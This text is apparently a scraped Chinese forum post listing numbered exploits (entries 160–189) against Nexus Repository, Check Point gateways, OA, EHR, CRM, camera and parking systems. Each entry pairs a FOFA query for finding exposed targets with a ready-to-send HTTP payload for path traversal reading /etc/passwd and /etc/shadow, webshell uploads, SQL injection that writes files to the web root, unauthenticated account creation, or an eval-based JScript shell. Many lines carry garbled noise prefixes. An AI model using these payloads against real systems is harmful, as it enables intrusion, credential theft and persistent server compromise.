* e+ }+ Q2 l' U4 Z- B<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
: h" g) x; K" H, X7 P</jobUpload>
</soap:Body>
</soap:Envelope>

1 \6 P0 V- I' I! |+ z
" q0 B- g7 T$ [/ t! K/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")


160. Sonatype Nexus Repository 3目录遍历与文件读取
! _; `! G9 n' k0 l) E( ?CVE-2024-4956
2 U: c% a' I" C. W8 G1 k7 dFOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
$ F  }0 L7 ^* x, hHost: x.x.x.x
  z" t5 d" Q% X5 z- O7 RUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
& R) L' [: p, ^: {- WAccept: */*
+ c+ h% _% U9 j7 y% ?Accept-Language: en
6 Y) O6 }  V2 Z4 B3 }/ |3 NAccept-Encoding: gzip
# x" I! O2 n) |8 F7 j* Y7 V  L

6 x( t9 i) d; b9 N/ l161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
8 D/ |7 [3 G/ H1 _' FFOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
; Q& b4 _8 {: N4 I' d3 @Content-Length: 445
. i$ S" K. M8 \Content-Type: text/xml
5 f$ M+ i# r1 ^1 iAccept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
+ A1 X6 n$ `/ b: U5 lxmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
: ~; w* A- R/ Y5 z8 e<soap:Body>
0 }" d( @  u! J5 _( F6 n<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
9 C& q9 a- h0 j5 C& m& |& ~</UploadResume>
</soap:Body>
0 |) [+ `+ y+ [</soap:Envelope>

. D3 L) t" y. w1 k9 }. ~
http://x.x.x.x/dizxdell.aspx

162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
# W* c8 s7 v! i4 Z* w. qHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
: Y% O' ]2 r' Y! b. p/ NConnection: close
Content-Length: 583
  \0 j$ R# f( `5 jContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
+ _) M2 P/ p! Z  g$ ~  o" |Accept-Encoding: gzip
+ H3 x: ]9 D( \) Q: S( S9 }
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream
2 z* a9 m7 R. s0 J' C% y
<% response.write("ujidwqfuuqjalgkvrpqy") %>
( A7 z. A# l/ Y1 y+ u+ O; y------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"

upload
& [9 ]( C! S: b. w% ]0 E------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"

2 A( k, Q9 f4 L! ^2 z( L, Q$ ?' kResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"

1 q& m  K) h1 d8 N% F# a7 b) ^7 S/opt/resources
) }6 W' b1 N1 A- o2 x; Y------WebKitFormBoundaryeegvclmyurlotuey--


http://x.x.x.x/opt/resources/kjuhitjgk.aspx

' U1 P6 a- U9 T' M163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
% K; h: R5 w- Z; FConnection: close
3 A% Q, k( Z3 X/ k# VContent-Length: 293
Accept: */*
  q; [- [6 |+ f5 L6 DAccept-Encoding: gzip, deflate
! }% g8 ?5 R- {Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
+ D9 [) L4 P* N1 j2 \. z0 B  ?( q, d( ~
* M" q3 R  B2 O" }$ T------iiqvnofupvhdyrcoqyuujyetjvqgocod
+ I, s3 f! g) I$ t$ s/ tContent-Disposition: form-data; name="name"

! m/ H' [1 q9 }& ~) C  N) j4 \1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
8 M$ f( `9 I( w% d- J+ `; QContent-Disposition: form-data; name="upfile"; filename="1.php"
  W( d5 i6 b6 w% `3 w) rContent-Type: image/jpeg
& H, v0 m2 O! m0 P& {# q( z
rvjhvbhwwuooyiioxega
  w0 q7 ]. ?( ?7 F* K7 _& E0 w' S------iiqvnofupvhdyrcoqyuujyetjvqgocod--

1 q+ j/ G# ?3 M  w* a% i
: G& m2 F% C* l# S# @/ S1 {/ A5 g; }164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
7 w. Q6 Q2 ?& ^8 r% M, [- Q9 DFOFA: title="智慧综合管理平台登入"
& C/ d4 r6 f& XPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
2 ~1 h& j4 Z$ c" O0 uHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
- S' _* a0 ]& f  G* ^5 mAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
  I8 v1 E% i" [  |  P  T6 wConnection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
0 v( P7 {) ]& s$ D4 lAccept-Encoding: gzip

3 [3 L& a; \9 S$ B! i/ h! s------dqdaieopnozbkapjacdbdthlvtlyl
9 x  X: I3 k7 v9 {3 Q+ u7 @Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
4 N+ b6 i& F$ h3 rContent-Type: image/jpeg

+ Z, M$ L6 l$ x1 ^7 ^( L) |<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--
: G5 t% m9 v2 T$ k8 F; q! v
! |" v- D! Z6 h7 I/ W1 }
http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
. ?6 G- g/ p1 H: l- X
165. OrangeHRM 3.3.3 SQL 注入
6 E  @% x  C+ K: J( {9 fCVE-2024-36428
! v: k4 p# \( _7 i- D9 M' N) aFOFA: app="OrangeHRM-产品"
5 W$ H- a% s$ {& [URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))

  O, {) h9 H' f, s7 n) h
; S/ Z4 X( n2 S% z0 @, R% T& u166. 中成科信票务管理平台SeatMapHandler SQL注入
- u* @3 o' p  _2 o" AFOFA：body="技术支持：北京中成科信科技发展有限公司"
4 U9 U+ ?, o# v- [# p% RPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
6 l5 E+ m5 P5 t0 n" ?  mPragma: no-cache
  y  Y/ q" P: X5 nCache-Control: no-cache
Upgrade-Insecure-Requests: 1
5 m% @/ H9 ^# zUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
7 D9 a9 N  x4 R5 vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
# i/ s' o! }4 X2 v* DAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
8 q1 g5 I8 a- J8 b' eConnection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
( w6 g, o# c8 p9 I3 o
Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
+ V/ e/ @5 I* l! |

167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
- A" n# v1 Y' @/ E- qGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
) ]3 F4 K& P- R0 `/ [2 IContent-Type: application/x-www-form-urlencoded
8 z" T7 i- R5 ?: u9 kAccept-Encoding: gzip, deflate
5 c8 {' n1 a- E( m$ P7 _Accept: */*
Connection: keep-alive
8 H: J5 {. u! s1 {+ ?
: e* h& [. A  H! V6 B% ~; W
168. 宏景EHR OutputCode 任意文件读取
2 y& t" f; b0 ?FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
8 b# _( Z6 z# ]7 @. sHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
0 b4 z3 i2 F$ o$ fConnection: close


+ L/ |$ t" L, B. q7 j2 _
2 X) {2 w+ R' M169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
- d! [: r: A2 y1 _1 ~  KHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
/ v) |' Z( v5 ZAccept-Encoding: gzip, deflate
+ W% q. q9 q2 l' z6 _2 B  RConnection: close



170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
# _& o) R: ?8 Y4 i  e( d# N; MPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
& `7 M- W; l+ w7 J6 ^7 R6 r% C4 k
0 x( \0 f% g' {$ mfilename=../webapps/ROOT/WEB-INF/web.xml
! x8 t5 s7 I" g
" s' t* B7 b& o4 Y
171. 通天星CMSV6车载定位监控平台 SQL注入
4 J# J  V9 u3 k9 B9 ?FOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
% y+ h* m% l8 {Host: your-ip
( W, ]5 P$ w/ u, e4 \3 oUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
, T! [* J0 X' O" ~6 e7 _Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close

% P5 }, I2 z+ u1 X

& v0 d+ u; G! }0 M; L" Y4 p, F172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
& x: J* M: ^; V4 X6 CGET /../../../../etc/passwd HTTP/1.1
Host: your-ip
/ J  u/ d2 |5 Y$ m7 m; qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
1 e- @& c' L, n3 @
/ l( e* a7 K/ A) w
: P5 ^7 x/ r" B9 W. y
' n# g0 m; W5 k0 f173. Check Point 安全网关任意文件读取
CVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
Host: your-ip
' j% h6 C* i; J* D& {, i, hContent-Type: application/x-www-form-urlencoded

. `/ a8 m' ]; h6 a* maCSHELL/../../../../../../../etc/shadow
  `% `$ q$ V- C  E9 D
2 k( f4 E5 ]$ ^1 f- e7 h1 {' ^% a

174. 金和OA C6 FileDownLoad.aspx 任意文件读取
5 E1 z* C( w$ h1 u7 VFOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
) _2 C+ f+ T1 y9 wHost: your-ip
4 a1 T& }2 d/ s/ S; Y( h, `1 SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
0 n! V( Q# E" A' W: Z6 y0 \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
6 n2 K9 q+ T7 n. b/ L; [Accept-Language: zh-CN,zh;q=0.9
  G  D3 ~2 `9 ?4 Y* _+ B- mConnection: close
3 r$ E) w6 h* \) Q


175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
1 F( W/ M2 s4 r& N) ~% oGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
5 n1 l9 p5 T0 }/ Z: \! B. XHost:
0 I7 U3 T# ~3 D3 J3 mUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 a4 [: A; p" f' V  Q! S( A4 SAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  z! A' `% Q# vAccept-Encoding: gzip, deflate
. \9 \5 A% e8 a" g' YConnection: close
3 Y6 N& c. v* A6 E" KUpgrade-Insecure-Requests: 1

: u6 `- |- Z* D5 [; N! t
176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
2 X, j7 J4 a( P; M$ k( B. `: c# bPOST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
& S; U+ P( n& ?# x* ?6 g0 tContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
' D8 ^' c" ~8 A& h6 Z" bConnection: close

5 T/ v- s; T- X. H* k6 d  c------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
$ l" b2 Z3 H) W8 U/ `2 n( iContent-Type: image/png

<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
# x2 [5 \) d& c1 x$ g- fContent-Disposition: form-data; name="uploadtime"

4 R' s/ |2 ]" Q; |$ c0 F' \
: ^8 d( G1 X$ ]/ y& S4 s------WebKitFormBoundaryOKldnDPT--
4 s! \8 ^+ o9 d8 Y


177. H3C路由器敏感信息泄露
& B8 h% ]% A! ~8 Z/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
3 ^" R) q3 p0 ~$ a, r/ @) O$ q/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
0 i3 z5 G! Z! \8 E8 J/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
0 \8 x) V4 r" \: A& x% a/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
& u4 D1 E# X4 Z) t; W: O/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
, I6 p& c& G' U) p( P. A' Y4 u/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/ g( I$ X7 {% i* M: O5 B/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
2 `, S0 @  Z9 l% l5 u8 R( ~/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
% ^; @  n/ g- ]4 X/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg


2 y( e3 N; N- c- w2 y178. H3C校园网自助服务系统-flexfileupload-任意文件上传
1 Q6 l3 o( i" e1 n8 dFOFA：header="/selfservice"
# ^0 A  I# ]1 w! {8 T- [- u5 I" lPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
( R5 ^+ @/ O% h, _  S; jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
! ^: o# e% l  |. C+ `- f" cContent-Length: 252
6 N1 [" H9 `8 z% }0 J" sAccept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
# D& }5 D, [+ u! k" {, b- JContent-Disposition: form-data; name="12234.txt"; filename="12234"
6 _9 U: {5 @; s7 I6 @9 s( AContent-Type: application/octet-stream
9 y. g4 n. }2 Q+ v# _2 N* O4 YContent-Length: 255

* L2 B0 X$ I6 U" ~3 D+ y$ B% E12234
-----------------aqutkea7vvanpqy3rh2l--
# S* A4 I% e  e
& x" B( ~6 Q5 o) I) E2 S
GET /imc/primepush/%2e%2e/flex/12234.txt

6 e8 ~4 T4 |( c, ^6 ]
179. 建文工程管理系统存在任意文件读取
1 ?+ K7 X2 J. OPOST /Common/DownLoad2.aspx HTTP/1.1
- B' m7 X: w9 `3 W7 q# cHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
* e' E0 r2 r6 t9 [( p# H) g* F0 H7 AUser-Agent: Mozilla/5.0
& t# n# S4 i, n
path=../log4net.config&Name=
, e8 j" t" u1 l3 X7 x
2 A* t$ x8 d. b1 d; \- c. l+ q
# `& J/ u  X* C8 z/ ]180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
% F( O( H3 K0 ^8 y+ o- ?! UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
3 [& Z5 o' b7 ^( Z, j$ xAccept-Language: zh-CN,zh;q=0.9
" H- Y# X4 d+ P/ [4 l/ K; W, ^Connection: close

: ^6 @' m6 `5 a$ x) E4 ~. H) m! ]
! ^/ U) A6 t, J, D& }' H" l8 m181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
; h5 Z, T3 N3 \" \& |6 ~% AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# Q/ F7 z  |3 E! h/ {' a/ rAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
2 f- M. G$ K, w+ AContent-Type: application/x-www-form-urlencoded

. X& H# t7 n/ h; i) ]% c  _3 E2 z& B
action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
: u% m6 R* ]" c/ h3 O. a; m% @
; ]1 ~+ U/ R% y8 u. u0 m$ d+ S
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
5 S9 E$ k( N$ R, FPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
7 j  Z/ n/ M! G. _7 A" Y& rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
7 O9 E( }9 g. X! G' eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
4 s6 c- Z, ^5 Z0 rContent-Type: application/x-www-form-urlencoded

9 z) m" `0 i* s2 r( K# W" q# `3 C
username=test1234&pwd=test1234&savedays=1

) R) b! u0 w# b) x. z
5 F1 f4 a, W0 f2 A, e; m183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
' W5 f8 `# R1 L, S$ a- DGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
" ?3 R/ \% y5 Q, W3 cUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
$ w7 Y8 }* V6 l2 G

( A" T2 e' e) q$ i+ G% x! |184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
( [; e. Q5 z6 q- p3 I) ~FOFA：server="SunFull-Webs"
& ]! {$ `" I4 Y. y& }POST /soap/AddUser HTTP/1.1
Host: your-ip
8 l1 {! U3 V7 V" QAccept-Encoding: gzip, deflate
/ s! w0 P# g" f5 }- LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest

+ ^! C/ \+ Z& p% \7 @. t! @
+ e( q9 U* F! ]/ t) N. J! @1 {( Ainsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
6 w' A/ P- {# Z8 G! z
3 w  B; f! g6 s, t8 K
185. 瑞友天翼应用虚拟化系统SQL注入
- P% U+ A0 G% t1 h$ C/ q7 kversion < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host


186. F-logic DataCube3 SQL注入
5 z, v# z$ R. X& {# KCVE-2024-31750
, j9 Y6 O. u2 P, \* H% NF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
  y" z$ C# m1 z# r9 M7 w" QHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
. L! J1 D) ^9 |9 fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& r$ X" i' h2 h; H. m9 w  G9 G$ zAccept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded

+ Q* ?7 H9 O9 X" o$ K! N& ?, ~req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
3 Q, m0 S8 n8 g* u8 J" Y; b$ P
& \' @! Z" E7 o+ ?5 l9 a0 s
5 g. K. H+ v+ P* O$ B5 B187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
FOFA："Mura CMS"
1 ]; U& S' x' a  k6 h% gPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
- Q& @* Q& [$ {; \Content-Type: application/x-www-form-urlencoded

/ J3 T3 m+ o3 N8 d- L+ k! _$ G/ C6 V
+ ]( J& v1 V6 `" ]( O) ]object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
5 h( Q8 R. r2 _  F5 S/ Y

188. 叁体-佳会视频会议 attachment 任意文件读取
6 T) M% |. I5 s+ m$ W: Bversion <= 3.9.7
. i' g! R% q8 X, W7 {  EFOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
) U4 x9 u- ~6 y2 k0 [, L  TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
1 b( g+ M3 Z; iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 ^$ ~" d* L. R0 I, Z4 d2 }Accept-Encoding: gzip, deflate
% f( ^" l# ?6 J* A2 g7 ^9 |2 BAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
8 {# T4 Q0 i1 ]" B% a- [

189. 蓝网科技临床浏览系统 deleteStudy SQL注入
/ K6 E5 K% ]" F/ S5 W" M- j8 vFOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
8 r) A8 v6 O6 [8 X% [- f3 n7 WHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
